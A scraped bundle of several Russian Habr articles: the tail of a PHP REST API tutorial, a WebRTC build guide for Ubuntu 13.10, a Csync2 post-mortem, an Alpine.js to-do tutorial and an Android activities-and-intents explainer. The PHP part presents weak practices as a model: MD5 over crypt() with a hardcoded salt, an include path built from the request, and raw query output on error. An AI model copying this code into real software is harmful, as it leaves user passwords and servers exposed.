$missing_parameters[] = $param;
else
$this->args[$param] = NULL;
}
if (empty($missing_parameters)) {
if (empty($wrong_types)) {
try {
call_user_func_array(array($this, $action), $this->args); //request api method
} catch (ErrorException $e) {
view::error($_POST, 503);
}
} else
view::error("Incorrect data type for: " . implode(', ', $wrong_types), 204);
} else
view::error("Missing parameters: " . implode(', ', $missing_parameters), 204);
} else
view::error("Method in developing.", 503);
} else
view::error("The method '" . $action . "' does not exist.", 204);
} else
view::error("No params received.", 204);
} else
view::error("Method was not received.", 204);
}
public function __call($method, $args) { //create new api method from called arguments
@include_once('api/methods/' . $method . '/controller.php');
return true;
}
}
```
Сам код довольно тривиален – инициализация, вылавливание из URL названия метода… Интересна лишь часть, где происходит выборка объектов из массива POST и преобразуется в аргументы функции которая, уже в дальнейшем, будет играть роль уникального метода.
**factory.class.php**
В данном файле я коплю функции, которые больше относятся к серверной стороне. Допустим тут можно сжать картинку, засунуть функцию для санитайза или подключить целую библиотеку.
```
class factory {
public static function check_parameter_type($var, $type) {
switch($type){
case 'string':
return true;
break;
case 'boolean':
if(($var === 'true') || ($var === true))
return true;
elseif(($var === 'false') || ($var === false))
return true;
else
return false;
break;
case 'integer':
return is_numeric($var) ? true : false;
break;
case 'smallint':
return (is_numeric($var) && (strlen($var) == 1)) ? true : false;
break;
default:
return false;
}
}
public static function set_parameter_type($var, $type) {
switch($type){
case 'string':
return $var;
break;
case 'boolean':
if(($var === 'true') || ($var === true))
return 1;
elseif(($var === 'false') || ($var === false))
return 0;
else
return false;
break;
case 'integer':
return $var;
break;
case 'smallint':
return $var;
break;
default:
return false;
}
}
}
```
Пример использования Вы уже видели в api.class.php
> $this->args[$param] = factory::sanitize(factory::set\_parameter\_type($\_POST[$param], $value[1]));
Следующий файл отвечает за работу с БД проекта
**model.class.php**
```
class db {
public $current;
private $_db;
function __construct() {
try {
include 'db.config.php';
$this->_db->exec('SET NAMES utf8mb4');
} catch (PDOException $e) {
}
}
function __destruct()
{
$this->_db = NULL;
}
protected function catch_db_error($query) {
$dbh = $this->_db->query($query);
if (!$dbh) {
print $query;
die(json_encode(array("Error" => "Syntax error.")));
}
return $dbh;
}
public function orm($sql, $array, $type){
$this->_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
$query = $this->_db->prepare($sql.';', array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$query->execute($array);
} catch (Exception $e) {
echo $e->getMessage();
die();
}
switch($type) {
case 'select_one':
return $query->fetch(PDO::FETCH_ASSOC);
break;
case 'select':
$query = $query->fetchAll(PDO::FETCH_ASSOC);
if(is_array($query))
return $query;
else
return array();
break;
case 'insert':
return $this->_db->lastInsertId();
break;
case 'replace':
return $this->_db->lastInsertId();
break;
case 'delete':
return true;
break;
case 'update':
return true;
break;
default:
return true;
}
}
```
Также, при необходимости, сюда вписываются методы работы с БД, которые часто повторяются в проекте. Например, проверка пользователя, получение общих данных о нем и так далее.
**view.class.php**
View есть view и отвечает он за ответ API. Ответ, который, увидит запросивший в окне браузера.
```
class view
{
static function encode($array) {
array_walk_recursive($array, function (&$value) {
if (!empty($value))
$value = is_numeric($value) ? intval($value) : $value;
else {
if (($value === '') or ($value === NULL))
$value = NULL;
elseif (($value === '0') or ($value === 0))
$value = 0;
}
});
print json_encode($array);
}
static function error($text,$code = 400)
{
$result = array(
'error' => $text,
'status' => $code
);
return print json_encode($result);
}
static function state($state)
{
print $state == true ? json_encode(array('Status' => 'Successful.')) : json_encode(array('Status' => 'Invalid token.'));
}
static function status($text,$code) {
$result = array(
'message' => $text,
'status' => $code
);
return print json_encode($result);
}
}
```
В классе собраны методы для оформления сообщений и описание вывода словарей на JSON.
##### Итак, мы добрались до самого интересного – как же устроены методы в проекте?
Рассмотрим, на примере метода для входа
И снова – смотрим файлы по порядку.
Описание метода начинается с файла **parameters.inc.php** – мечта параноика.
*Позволит вам почувствовать себя крутым программистом который пишет на серьезном языке со статической типизацией. К тому же вы будете точно знать, какой формат данных будет передан в метод.*
```
$parameters = array(
'login' => array(1, 'string'),
'password' => array(1, 'string')
);
```
Все что тут храниться – массив входных аргументов для метода. 0 — не обязательный, 1 — обязательный и далее – тип переменной. Проверку на соответствие типу можете описать в **factory.class.php**. Если что-то пойдет не так вы увидите одну из ошибок, которые мы описали в **api.class.php**.
Сердце любого метода – контроллер.
**controller.php**
```
require('model.php'); $model = new model(); // load database methods
const SALT = 'ВаЩеОченьКруТаяСоЛь';
if((!empty($this->args['login'])) and (!empty($this->args['password']))) {
if($userID = $model->login($this->args['login'], md5(crypt($this->args['password'],SALT)))) {
@session_start();
$_SESSION['userID'] = $userID;
view::encode(array(
"userID" => $userID
)
);
} else
view::error("Wrong login or password.", 200);
} else {
view::error("Fill all fields.", 200);
}
```
Тут описана логика, обращение к импровизированной ORM, а также, вызывается необходимый метод из класса view для вывода ответа.
Куда же мы без базы
**model.php**
```
class model extends db {
public function login($phone,$password) {
$query = $this->orm('SELECT `UserID` FROM `UserPrivate` WHERE `Password` = :password AND `Phone` = :phone', array(
':phone' => $phone,
':password' => $password
), 'select_one');
return $this->return_field($query, 'UserID');
}
}
```
В папке метода файл model.php позволяет описывать дополнительные фуникции для работы с БД, которые, будут доступны только в текущем методе.
Таким образом – обращение к **[sitename.com/api/login](http://sitename.com/api/login)** вызовет описанный выше метод.
На этом описание моего Restfull API сервиса подходит к своему логическому завершению. Заранее прошу прощения за кучу ошибок, опечатки и форматирование. | https://habr.com/ru/post/280121/ | null | ru | null |
# Настройка WebRTC + Eclipse 4.3 + ubuntu 13.10
Добрый день, хабрапользователи!
Выкладываю небольшую шпаргалку по настройке WebRTC + Eclipce 4.3 + ubuntu 13.10. Это может быть полезно тем, кто решил попробовать себя в написании кода на С++ для webrtc.
Скажу сразу, что у Google есть неплохая документация для того, чтобы настроить среду программирования и начать пользоваться. Но к сожалению, у меня каждый раз уходит очень много времени на установку всего этого. Не каждый же день приходится устанавливать все по новому. Поэтому решил поделиться опытом, может кому-то она поможет сэкономить пару суток. На ubuntu до версии 12.10 почти всегда все ставилось хорошо и сразу начинало работать. Но недавно вышла версия 13.10 и тут начались еще большие проблемы. На установку гугл-кода пришлось потратить пол-дня. А что делать, тому кто только начал разбираться?
#### Получение кода
Итак, начнем. Первым делом нужно установить [depot\_tools](https://src.chromium.org/svn/trunk/tools/depot_tools.zip)
```
$ mkdir ~/webrtc
$ cd ~/webrtc
$ wget https://src.chromium.org/svn/trunk/tools/depot_tools.zip
```
Далее распаковывем скаченный архив в этот же каталог. И теперь нам нужно прописать пути к этой папке:
```
$ export PATH="$PATH":/home/username/webrtc/depot_tools
$ export CHROMIUM_ROOT = /home/username/webrtc/ #Не знаю правда зачем, но у меня сейчас так. Может и не нужно
```
И заодно дабавляем тоже самое в свой .bashrc, чтобы после перезагрузки переменные восстанавливались:
```
$ sudo nano ~/.bashrc
```
Добавляем те же самые строки. Конечно же «username» нужно заменить на свое имя пользователя:
```
export PATH="$PATH":/home/username/webrtc/depot_tools
export CHROMIUM_ROOT = /home/username/webrtc
```
Далее проверяем все ли правильно сделано:
```
$ gclient --version
gclient.py 0.7
```
Если верно, то должны увидеть версию клиента. Если нет, то скорее всего не установлен python. Нужно установить его.
Итак, gclient заработал и теперь нужно скачать исходники. Возвращаемся в директорию webrtc и скачиваем:
```
$ gclient config http://webrtc.googlecode.com/svn/trunk
$ gclient sync --force
```
Скачиваться будет долго. После того как закачалось, нужно установить gyp:
```
$ sudo apt-get install gyp
```
Установили gyp, переходим к установке необходимых требований для компиляции исходников. Для этого в скаченной нами ранне папке есть скрипт install-build-deps.sh. Запускаем его:
```
$ sudo ~/webrtc/trunk/build/install-build-deps.sh
```
И нам показывают неприятное сообщение: ERROR: Only Ubuntu 12.04 (precise) through 13.04 (raring) are currently supported. Не беда, апгрейдим скрипт. Находим строку 55 приводим ее к такому виду:
```
ubuntu_versions="12\.04|12\.10|13\.04|13\.10"
```
Заново запускаем скрипт install-build-deps.sh. Начнется установка необходимых программ и библиотек.
Теперь находясь в директории ~/webrtc/ запускаем gclient с другими парамерами:
```
$ gclient runhooks --force
```
Если появилась ошибка:
````
File "", line 1, in AssertionError: Point $JAVA_HOME or the java_home gyp variable to a directory containing include/jni.h!
gyp: Call to 'python -c "import os; dir=os.getenv('JAVA_HOME', '/usr/lib/jvm/java-6-sun'); assert os.path.exists(os.path.join(dir, 'include/jni.h')), 'Point \$JAVA_HOME or the java_home gyp variable to a directory containing include/jni.h!'; print dir"' returned exit status 1.
То устанавливаем openjdk-6-jdk и прописываем пути:
$ sudo apt-get install openjdk-6-jdk
$ sudo ln -s /usr/lib/jvm/java-6-openjdk-amd64 /usr/lib/jvm/java-6-sun
$ export JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64
$ echo "export JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64" >> ~/.bashrc
```
На всякий случай добавляем, для того чтобы у нас сгенерировался Makefile:
```
$ echo "export GYP_GENERATORS=make" >> ~/.bashrc
```
Запускаем последний раз
```
$ gclient sync --force
$ gclient runhooks --force
```
И убеждаемся, что был создан Makefile в директории ~/webrtc/trunk/
#### Импорт в Eclipse и компиляция
Теперь можно запускать Eclipse и импортировать проект по этой инструкции: [LinuxEclipseDev](http://code.google.com/p/chromium/wiki/LinuxEclipseDev) (Раздел "Install the C Development Tools ("CDT")")
Теперь, когда создали проект, пробуем его собрать.
##### Ошибка 1
У меня самая первая ошибка показала строки, содержащие:
`narrowing conversion of ‘rate’ from ‘int’ to ‘uint32_t []`
Для этого изменил файл webrtc/modules/rtp_rtcp/interface/rtp_payload_registry_unittest.cc, в нем функцию:
```
ModuleRTPUtility::Payload* ExpectReturnOfTypicalAudioPayload(
uint8_t payload_type, int rate)
```
на
```
ModuleRTPUtility::Payload* ExpectReturnOfTypicalAudioPayload(
uint8_t payload_type, uint32_t rate)
```
##### Ошибка 2
В следющей ошибке было:
`... -Werror=extra ...`
Файл /webrtc/trunk/webrtc/build/common.gypi у
Удалить строку 179
```
179: '-Wextra',
```
Файл /webrtc/trunk/build/common.gypi
Строка 3875
Изменить
```
3875: 'GCC_TREAT_WARNINGS_AS_ERRORS': 'YES', # -Werror
```
На
```
3875: 'GCC_TREAT_WARNINGS_AS_ERRORS': 'NO', # -Werror
```
И чуть ниже строка 3882, удалить ее:
```
3882: '-Wextra',
```
##### Ошибка 3
Сообщение вроде этого:
`/webrtc/talk/app/webrtc/java/jni/peerconnection_jni.cc:113:7: note: in definition of macro ‘CHECK’`
Добавляем в файл /webrtc/talk/app/webrtc/java/jni/peerconnection_jni.cc:
```
#include
```
##### Ошибка n
Дальше уже не стал исправлять ошибки компилятора в unittest-ах гугла и вообще выклчил их компиляцию в файле webrtc/trunk/all.gyp.
```
#'talk/libjingle_tests.gyp:*',
```
В итоге, в папке /home/udaf/rabbit/webrtc/trunk/out/Debug/ появились скомпилированные примеры, среди которых набольший интерес представляют: peerconnection_client и peerconnection_server
#### Коротко о Gyp
Гугл-код для компиляции использует gyp. В .gyp файлах можно управлять компиляцией приложений. Например можно подключить сторонние библиотеки к своему коду вот так:
```
'cflags': [
'-I/usr/local/include -I/usr/local/include/cppconn -fexceptions',
],
'link_settings': {
'ldflags': [
'
```
#### Ссылки
* [www.webrtc.org/reference/getting-started](http://www.webrtc.org/reference/getting-started) - Получение кода WebRTC
* [www.webrtc.org/reference/getting-started/prerequisite-sw](http://www.webrtc.org/reference/getting-started/prerequisite-sw) - Установка требуемых программ и библиотек, необходимых для компиляции WebRTC
* [sites.google.com/a/chromium.org/dev/developers/how-tos/depottools](https://sites.google.com/a/chromium.org/dev/developers/how-tos/depottools) - Установка и использование depot\_tools
* [code.google.com/p/chromium/wiki/LinuxEclipseDev](http://code.google.com/p/chromium/wiki/LinuxEclipseDev) - Настройка Eclipse
* [code.google.com/p/gyp/wiki/GypUserDocumentation](http://code.google.com/p/gyp/wiki/GypUserDocumentation) - Использование и синтаксис gyp.` | https://habr.com/ru/post/204068/ | null | ru | null |
# С чем нам пришлось столкнуться при использовании утилиты Csync2
Csync2 — достаточно старая утилита, которая предназначена для синхронизации файлов между серверами. Она позволяет настроить синхронизацию файлов по приоритетам, либо по последней модификации в файле (проверяются не сами изменения в файле, а дата его модификации). Также данная утилита позволяет настроить выполнения какого-либо действия при изменении определённого файла. Например при изменении конфигурации nginx, выполнить перечитывание конфигурации. Мы начали её использовать достаточно давно на небольших проектах (кластер минимум из 3-х серверов) и всё было хорошо до того момента, пока эти маленькие кластера не начали развиваться, а именно:
1. Заметно увеличился объем файлов, которые необходимо синхронизировать между серверами.
2. Увеличилась интенсивность добавления этих файлов.
Сегодня мы поделимся нашим опытом использования такой утилиты как csync2 и о том, какие проблемы могут возникнуть при ее использовании.
Для наглядности рассмотрим один из проектов, который стоит у нас на обслуживании и на котором используется утилита csync2 версии 2.0-8-g175a01c-4. Данная версия является последней для Debian 9. В примере используется политика разрешения конфликтов auto younger — кто новее, тот и прав.
Ниже представлена схема использования Csync2 на данном проекте :
Тут ничего необычного. Происходит синхронизация файлов внутри каталогов между серверами по принципу какой новее, тот и синхронизируем. То же происходит и с удалением. Если после действия над файлом было его удаление на первом сервере, то он удалится и на втором). По данному принципу всё хорошо работает пока проект сравнительно небольшой, менее 1 000 000 файлов и менее 10G синхронизируемых данных, но после того как проект вырастет, то есть перейдет планку, указанную выше, есть вероятность столкнуться со следующими проблемами:
1. После синхронизации, файлу присваивается некорректный владелец.
2. Возникновение конфликтов при синхронизации файлов.
Отмечу, что проблема с присвоением некорректного владельца файла после синхронизации наблюдается вне зависимости от размера проекта.
Далее поговорим о каждой обозначенной проблеме более детально.
После синхронизации, файлу присваивается некорректный владелец
--------------------------------------------------------------
Для наглядности рассмотрим следующий пример, возникающий на практике. Допустим, у нас есть файл /var/www/index.php с правами 644 и владельцем **www-data** на первом сервере, но этого файла нет на втором сервере, а т.к. каталоги /var/www должны быть идентичными, запускается процесс синхронизации данного файла утилитой csync2. После завершения работы утилиты, на втором сервере файл получил корректные права (644), но изменился владелец с **www-data** на **root**.
Такая проблема может возникнуть в нескольких случаях:
* У пользователей, которым принадлежит файл, разные **UID** и **GID** на разных узлах кластера. Если на первом сервере **UID** у владельца файла, например, **1000**, а на другом пользователя с этим **UID** не существует, то пользователь с таким же именем на втором сервере не сможет прочитать файл.
* Если во время синхронизации с первого сервера на второй запускается обратный процесс синхронизации на втором сервере, возможен баг, при котором владельцем файла становится **root-**пользователь.
```
Server 1
ls -l __page_0855c931430c4324f491ed2cf13401c3
drwxr-xr-x 2 test_user test_user 4096 июн 20 09:59 __page_0855c931430c4324f491ed2cf13401c3
Server 2
ls -l __page_0855c931430c4324f491ed2cf13401c3
drwx------ 2 root root 4096 июн 20 09:59 __page_0855c931430c4324f491ed2cf13401c3
```
Нами было найдено 2 варианта решения данной проблемы:
1. Использование неофициальных патчей. Разработчики [данных патчей](http://sys.ldvi.fr/csync2.html) не дают никаких гарантий и не несут какой-либо ответственности в случае потери данных.
2. Отказ от auto younger и перенастройка csync2 таким образом, что один из серверов будет считаться мастером (все файлы будут считаться актуальными именно на мастер сервере), а второй слейвом.
Оба варианта не самые лучшие, т.к. первый ненадёжен, а в случае со вторым, мы теряем достаточно большую часть производительности, поскольку второй сервер простаивает и используется только в случае возникновения проблем на первом. У себя для решения этой проблемы мы выбираем второй вариант из выше предложенных, т.к. он более надежен.
Начали возникать конфликты в синхронизациях
-------------------------------------------
Данная проблема возникает гораздо реже нежели предыдущая, но она также имеет место быть. В нашем случае она наблюдалась только когда происходило частое обновление одного и того же файла на всех серверах. Например, есть файл /var/www/tmp/index.php на всех узлах кластера и он обновляется 1 раз в секунду на каждом узле. При попытке его синхронизировать может возникнуть конфликт, т.к. во время синхронизации данный файл в базе csync2 на узле куда происходит синхронизация, окажется новее, что приведёт к возникновению конфликта, который csync2 не может решить в автоматическом режиме:
```
[12.02.2020 13:04:18.610567] (16038) INFO: child stderr (buffer size: 96 bytes): Updating /var/www/test.ru/data/index.php on Server-2 ...
[12.02.2020 13:04:18.612108] (16038) INFO: child stderr (buffer size: 103 bytes): Do not auto-resolve conflict: Lost 'younger/older' test.
File stays in dirty state. Try again later...
```
Для решения данной проблемы мы обычно вручную запускали принудительную синхронизацию, т.е. меняли статус файла в базе данных на одном из серверов с chary на force в зависимости о того, где файл актуальнее. Поскольку с политикой auto younger данная проблема возникает достаточно редко, то мы просто знаем о её наличии и при необходимости решаем в ручном режиме.
Итого, стоило ли использовать csync на тот момент когда он был актуален, или можно было использовать что-то другое?
-------------------------------------------------------------------------------------------------------------------
Что ж, инструмент csync2 достаточно прост и хорошо себя показывает при работе с небольшим объемом данных. Но при росте проекта вы можете столкнуться с описанными выше проблемами и попытаться их решить предложенными способами. Но если есть возможность перейти на синхронную репликацию и использовать распределенные файловые системы, которых сейчас достаточно много и они весьма производительны, то мы бы рекомендовали это сделать.
Также читайте другие статьи в нашем блоге:
------------------------------------------
* [Создание дополнительного kube-scheduler’a с кастомным набором правил планирования](https://habr.com/ru/company/nixys/blog/495494/)
* [Управление трафиком в Kubernetes-кластере с Calico](https://habr.com/ru/company/nixys/blog/494194/)
* [Когда Linux conntrack вам больше не товарищ](https://habr.com/ru/company/nixys/blog/492686/)
* [Обновление Kubernetes-кластера без простоя](https://habr.com/ru/company/nixys/blog/489164/)
* [Kubernetes: почему так важно настроить управление ресурсами системы?](https://habr.com/ru/company/nixys/blog/480072/)
* [Zero Downtime Deployment и базы данных](https://habr.com/ru/company/nixys/blog/481932/) | https://habr.com/ru/post/504762/ | null | ru | null |
# Alpine.js на конкретном примере
Возможно, вы уже слышали про Alpine.js. Если нет, то это "Vue.js на минималках". "Angular 1 для миллениалов". Называйте, как хотите, главное, чтобы вам было понятно.
Зачем нам еще один фреймворк? Ну, Alpine хорошо вписывается в свою нишу. По факту, он – альтернатива большим фреймворкам для сайтов, где эти большие фреймворки не нужны. Например, меня, модного web-developer'а, запрягли писать многостраничный сайт. Мне нужно элементарно сделать форму и всякий другой интерактив. Что я буду делать? Возьму jQuery – друзья не поймут, на чистом JS всё писать тоже не комильфо. К тому же я уже знаю реакты, ангуляры и вью, знаю, что такое data-driven подход. Как мне теперь данные до отправки в HTML хранить?
Тут и приходит на помощь Alpine.js. Можно, конечно, Vue или React прикрутить. Но React без JSX никто в здравном уме писать не будет, а Vue минифицированный через CDN весит 34 kB (против 8.1 kB у Alpine). Так и получается, что выбор падает на Alpine.
Недавно тут на Хабре уже были [ознакомительные статьи про Alpine.js](https://habr.com/ru/post/501312/). Если не считать того, что сайт вырезал везде упоминания про тег template, статьи получились неплохие.
Я, чтобы не повторяться, не буду пересказывать [документацию](https://github.com/alpinejs/alpine), благо она очень короткая (весь фреймворк – это 13 директив и 6 магических свойств) и скоро уже будет доступна на русском языке (на момент написания статьи перевод находится на одобрении у создателя, но его уже можно прочитать [в моем форке](https://github.com/evgeniyPP/alpine/blob/russian-docs/README.ru.md)).
> UPD: [Документация на русском уже доступна](https://github.com/alpinejs/alpine/blob/master/README.ru.md).
Если вам интересно и/или вы не знакомы с Vue, настоятельно рекомендую. Для тех, кто с Vue знаком, краткое описание ключевых отличий:
* Везде вместо `v-` используем `x-`, т.е. не `v-model`, а `x-model`; не `v-bind`, а `x-bind` Почему? Это ваше задание на дом :)
* `x-if` и `x-for` могут использоваться только в теге template. Издержки отсутствия Virtual DOM.
* Всеми любимой интерполяции `{{}}` нет. Пишите `x-text` и `x-html`, как настоящие мужики уже давно делают во Vue.
Об остальном в процессе.
Не буду придумывать ничего оригинального, фантазия слабая. Давайте сделаем всем ненавистный тудушник. Почему не что-нибудь другое? Первое оправдание я уже назвал – плохая фантазия. Второе – все уже наизусть знают процесс создания тудушки, что позволит не отвлекатся на идею, а сконцентрироваться на реализации. Третье и мое любимое – "в туду есть все базовые функции, что позволяет нам посмотреть на все процессы" и т.д. и т.п.
Короче, воду лить я закончил, показываю код.
Начнем с голого HTML, куда через CDN вставим Alpine
```
To-Do на Alpine.js
```
Alpine самоинициализируется, ничего больше писать не надо. Он уже работает.
Итак, что дальше? Нам нужно создать компонент и задать ему первичные данные. Это делается с помощью директивы `x-data`.
```
Привет,
```
Этот теперь считается отдельным компонентом, своей отдельной вселенной. Доступ к переменной `name` вне этого получить честными способами нельзя.
Отлично, теперь давайте сделаем to-do. Начнем со списка:
```
Планы на сегодня:
=================
*
```
На клик назначим переключение выполнения туду. Для того, чтобы это работало, создадим CSS-класс `.completed`, который и будем назначать компоненту с помощью `x-bind:class` (принимает объект `{[имя класса]: [условие]}`). Еще добавим `cursor: pointer` на `li`, чтобы работать было приятнее.
```
.completed {
text-decoration: line-through;
}
li {
cursor: pointer;
}
```
```
Планы на сегодня:
=================
*
```
Если вам кажется, что это начинает выглядить отстойно и непонятно, то вам не кажется. Благо, ничего не мешает нам вывести все данные из `x-data` в функцию:
```
Планы на сегодня:
=================
*
function todos() {
return {
todos: [
{ id: 1, title: 'купить хлеб', completed: false },
{ id: 2, title: 'продать айфон', completed: false },
{ id: 3, title: 'закончить этот курс', completed: false },
{ id: 4, title: 'перестать быть банальным', completed: false },
],
toggleTodo: function (id) {
var todo = this.todos.find((todo) => todo.id === id);
todo.completed = !todo.completed;
},
};
}
```
Вот теперь красиво… и еще больше похоже на Vue.
Добавим input для новых задач:
```
#### Добавить новую задачу:
Добавить
function todos() {
return {
// ...
inputValue: '',
addTodo: function () {
if (!this.inputValue) {
return;
}
this.todos.push({
id: Date.now(),
title: this.inputValue,
completed: false,
});
this.inputValue = '';
},
};
}
```
Метода `push()` достаточно, чтобы Alpine понял, что что-то надо менять.
Последний штрих – кнопка удаления туду. В `-` создадим два `span`: в одном будет текст, во втором – крестик.
```
* ×
function todos() {
return {
// ...
deleteTodo: function (id) {
this.todos = this.todos.filter((todo) => todo.id !== id);
},
};
}
```
Будем считать тудушник готовым.
Но для пущего удовлетворения, перед тем как закончить, добавим немного асинхронного кода, забирая наши задачи из REST API. Конечно же, апишкой нам послужит многострадальный [JSON Placeholder](https://jsonplaceholder.typicode.com/). А для загрузки данных мы будем использовать директиву `x-init`.
```
function todos() {
return {
// ...
todos: [],
fetchTodos: function () {
fetch('https://jsonplaceholder.typicode.com/todos')
.then((response) => response.json())
.then((data) => {
this.todos = data.slice(0, 10);
});
},
};
}
```
`x-init` выполняет выражение при инициализации DOM (аналог `created` во Vue). Если передать колбэк – то, сразу после инициализации (аналог `mounted`).
И да, я знаю про `?_limit=10`, но сейчас query не работали, так что обходимся тем, что есть.
На этом закончим. Мы охватили базовые функции Alpine.js. Остальное можно прочитать в [документации](https://github.com/alpinejs/alpine). В принципе, всё можно было прочитать в документации. Но, надеюсь, этот пример поможет вам легче в ней ориентироваться.
Весь код урока я загрузил в [этот sandbox](https://codesandbox.io/s/todo-list-alpine-5mwy9?file=/index.html). Добавил немного стилей, чтобы глаза не резало, остальное всё то же самое.
> P.S. Для англоговорящих еще хочу посоветовать "почти полностью бесплатный" скринкаст от создателя Alpine.js. Он так хорош, что даже ссылкой жалко делиться. Ну ладно, [вот](https://laracasts.com/series/building-alpinejs). В нем автор рассказывает о том, как создать такой фреймворк, как Alpine, и что это совсем не так сложно, как может казаться.
Читаем продолжение тут: [Alpine.js – события и глобальное хранилище данных](https://habr.com/ru/post/505954/). | https://habr.com/ru/post/504650/ | null | ru | null |
# Как работает Android, часть 3
[](https://habrastorage.org/web/6fc/be8/301/6fcbe8301203480fa934d7660ac531cf.png)
В этой статье я расскажу о компонентах, из которых состоят приложения под Android, и об идеях, которые стоят за этой архитектурой.
Статьи серии:
* [Как работает Android, часть 1](https://habrahabr.ru/company/solarsecurity/blog/334796/)
* [Как работает Android, часть 2](https://habrahabr.ru/company/solarsecurity/blog/338292/)
* Как работает Android, часть 3
* [Как работает Android, часть 4](https://habr.com/company/solarsecurity/blog/427431/)
* ...
### Web vs desktop
Если задуматься об отличиях современных веб-приложений от «обычных» десктопных приложений, можно — среди недостатков — выделить несколько преимуществ веба:
* Веб-приложения переносимы между архитектурами и платформами, *как и Java*.
* Веб-приложения не требуют установки и всегда обновлены, *как и [Android Instant Apps](https://developer.android.com/topic/instant-apps)*.
Кроме того, веб-приложения существуют в виде страниц, которые могут ссылаться друг на друга — как в рамках одного сайта, так и между сайтами. При этом страница на одном сайте не обязана ограничиваться ссылкой только на главную страницу другого, она может ссылаться на конкретную страницу внутри другого сайта (это называется [deep linking](https://www.wikiwand.com/en/Deep_linking)). Ссылаясь друг на друга, отдельные сайты объединяются в общую сеть, веб.
Несколько копий одной страницы — например, несколько профилей в социальной сети — могут быть одновременно открыты в нескольких вкладках браузера. Интерфейс браузера рассчитан на переключение между одновременными сессиями (вкладками), а не между отдельными сайтами — в рамках одной вкладки вы можете перемещаться по ссылкам (и вперёд-назад по истории) между разными страницами разных сайтов.
Всё это противопоставляется «десктопу», где каждое приложение работает отдельно и часто независимо от других — и в этом плане то, как устроены приложения в Android, гораздо ближе к вебу, чем к «традиционным» приложениям.
Activities & intents
--------------------
Основной вид компонентов приложений под Android — это **[activity](https://developer.android.com/guide/components/activities)**. Activity — это один «экран» приложения. Activity можно сравнить со страницей в вебе и с окном приложения в традиционном оконном интерфейсе.
**Про окна**Собственно окна в Android тоже есть на более низком уровне — уровне window manager. Каждой activity обычно соответствует своё окно. Чаще всего окна activity развёрнуты на весь доступный экран, но:
* Во-первых, Android поддерживает мультиоконный режим — split-screen, picture-in-picture и даже freeform.
* Во-вторых, Android поддерживает подключение нескольких дисплеев.
* В-третьих, activity может намеренно занимать небольшую часть экрана (`Theme_Dialog`).
Например, в приложении для электронной почты (email client) могут быть такие activity, как Inbox Activity (список входящих писем), Email Activity (чтение одного письма), Compose Activity (написание письма) и Settings Activity (настройки).
Как и страницы одного сайта, activity одного приложения могут запускаться как друг из друга, так и независимо друг от друга (другими приложениями). Если в вебе на другую страницу обращаются по URL (ссылке), то в Android activity запускаются через intent’ы.
**[Intent](https://developer.android.com/guide/components/intents-filters.html)** — это сообщение, которое указывает системе, что нужно «сделать» (например, открыть данный URL, написать письмо на данный адрес, позвонить на данный номер телефона или сделать фотографию).
Приложение может создать такой intent и передать его системе, а система решает, какая activity (или другой компонент) будет его выполнять (handle). Эта activity запускается системой (в существующем процессе приложения или в новом, если он ещё не запущен), ей передаётся этот intent, и она его выполняет.
Стандартный способ создавать intent’ы — через [соответствующий класс](https://developer.android.com/reference/android/content/Intent.html) в Android Framework. Для работы с activity и intent’ами из командной строки в Android есть команда `am` — обёртка над стандартным классом [Activity Manager](https://developer.android.com/reference/android/app/ActivityManager.html):
```
# передаём -a ACTION -d DATA
# открыть сайт
$ am start -a android.intent.action.VIEW -d http://example.com
# позвонить по телефону
$ am start -a android.intent.action.CALL -d tel:+7-916-271-05-83
```
Intent’ы могут быть *явными* (explicit) и *неявными* (implicit). Явный intent указывает идентификатор конкретного компонента, который нужно запустить — чаще всего это используется, чтобы запустить из одной activity другую внутри одного приложения (при этом intent может даже не содержать другой полезной информации).
Неявный intent обязательно должен указывать действие, которое нужно сделать. Каждая activity (и другие компоненты) указывают в манифесте приложения, какие intent’ы они готовы обрабатывать (например, `ACTION_VIEW` для ссылок с доменом `https://example.com`). Система выбирает подходящий компонент среди установленных и запускает его.
Если в системе есть несколько activity, которые готовы обработать intent, пользователю будет предоставлен выбор. Обычно это случается, когда установлено несколько аналогичных приложений, например несколько браузеров или фоторедакторов. Кроме того, приложение может явно попросить систему показать диалог выбора (на самом деле при этом переданный intent оборачивается в новый intent с `ACTION_CHOOSER`) — это обычно используется для создания красивого диалога Share:
Кроме того, activity может вернуть результат в вызвавшую её activity. Например, activity в приложении-камере, которая умеет обрабатывать intent «сделать фотографию» (`ACTION_IMAGE_CAPTURE`) возвращает сделанную фотографию в ту activity, которая создала этот intent.
**При этом приложению, содержащему исходную activity, не нужно разрешение на доступ к камере.**
Таким образом, правильный способ приложению под Android сделать фотографию — это не потребовать разрешения на доступ к камере и использовать Camera API, а создать нужный intent и позволить системному приложению-камере сделать фото. Аналогично, вместо использования разрешения `READ_EXTERNAL_STORAGE` и прямого доступа к файлам пользователя стоит дать пользователю возможность выбрать файл в системном файловом менеджере (тогда исходному приложению будет разрешён доступ именно к этому файлу).
> A unique aspect of the Android system design is that any app can start another app’s component. For example, if you want the user to capture a photo with the device camera, there’s probably another app that does that and your app can use it instead of developing an activity to capture a photo yourself. You don’t need to incorporate or even link to the code from the camera app. Instead, you can simply start the activity in the camera app that captures a photo. When complete, the photo is even returned to your app so you can use it. To the user, it seems as if the camera is actually a part of your app.
При этом «системное» приложение — не обязательно то, которое было предустановлено производителем (или автором сборки Android). Все установленные приложения, которые умеют обрабатывать данный intent, в этом смысле равны между собой. Пользователь может выбрать любое из них в качестве приложения по умолчанию для таких intent’ов, а может выбирать нужное каждый раз. Выбранное приложение становится «системным» в том смысле, что пользователь выбрал, чтобы именно оно выполняло все задачи (то есть intent’ы) такого типа, возникающие в системе.
Само разрешение на доступ к камере нужно только тем приложениям, которые реализуют свой интерфейс камеры — например, собственно приложения-камеры, приложения для видеозвонков или дополненной реальности. Наоборот, обыкновенному мессенджеру доступ к камере «чтобы можно было фото отправлять» *не нужен*, как не нужен и доступ к совершению звонков приложению *крупного банка*.
**Про лончер**Этой логике подчиняются даже такие «части системы», как, например, домашний экран (лончер, launcher). Лончер — это специальное приложение со своими activity (которые используют специальные флаги вроде `excludeFromRecents` и `launchMode="singleTask"`).
Нажатие кнопки «домой» создаёт intent категории `HOME`, который дальше проходит через обычный механизм обработки intent’ов — в том числе, если в системе установлено несколько лончеров и ни один не выбран в качестве лончера по умолчанию, система отобразит диалог выбора.
